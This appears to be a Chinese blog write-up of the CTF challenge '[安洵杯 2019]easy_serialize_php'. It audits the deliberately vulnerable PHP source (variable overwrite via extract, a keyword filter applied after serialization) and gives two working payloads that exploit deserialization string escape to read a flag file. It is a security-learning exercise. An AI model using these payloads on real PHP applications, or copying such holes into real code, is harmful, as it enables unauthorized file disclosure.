心美,一切皆美

人生的弓,拉得太满人会疲惫,拉得不满人会掉队,我们要学会张弛有度

[安洵杯 2019]easy_serialize_php

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

题目如上:

首先进行审计:

  ① 第一个方法filter是过滤

  ②第一个if是把$_SESSION变量重置。

 

然后接下来

extract($_POST);

上面这个是吧key-value对直接变成变量,这里可以用来变量覆盖。

接下来是

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

这里如果get里面有sha1就会把给加密,如果没有又没法由用户控制,然后继续往后面审计

$serialize_info = filter(serialize($_SESSION));

 这个是进行序列化以后同时执行过滤方法

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

 

这里能够查询的位置是$userinfo[‘img’]而这个对应的其实是过滤后的$_SESSION[‘img’],但是,它不是直接赋值的,而是采用了反序列化,如果改变序列化以后的字符串,就可以对访问你想要选择的内容。

 

题目中还有一个提示是phpinfo

 

于是首先访问phpinfo

最终找到

《[安洵杯 2019]easy_serialize_php》

 

 auto_append_file是执行完这个php就加载这后面的php,因此说明flag可能在这里。

 

这个题目要利用反序列化逃逸,因为我们是没法直接进行修改,因此可以通过黑名单之类的,对反序列化以后的字符进行增加或者删减来达到逃逸的目的。

payload:

_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"1";}

 

 

payload解释:

array(3) {

  [“user”]=> string(23) “flagflagflagflagflagphp”

  [“function”]=> string(57) “”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:1:”1″;s:1:”1″;}”

  [“img”]=> string(20) “Z3Vlc3RfaW1nLnBuZw==”

}

string(143) “a:3:{s:4:”user”;s:23:”“;s:8:”function”;s:57:”“;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:1:”1″;s:1:”1″;}”;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}”

 

这里用的方法是改value,由于本身有三个键对值所以后面需要补一个1=>1

改value的思路是利用反序列化方法,反序列化执行到s:23:的时候由于黑名单把一部分字符串删去了,导致他会把后续的引号之类的当成user的value来处理,所以只需要处理出来一直到下一个引号开始

处理完三个以后同时括号闭合了,后面的他就不会处理了,会当成垃圾一样丢弃掉。

 

另一个payload

_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

 

这个是通过改key

array(2) {

  [“flagphp”]=> string(48) “;s:1:”1″;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}”

  [“img”]=> string(20) “Z3Vlc3RfaW1nLnBuZw==”

}

string(107) “a:2:{s:7:”“;s:48:“;s:1:”1″;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}”;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}”

 

点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注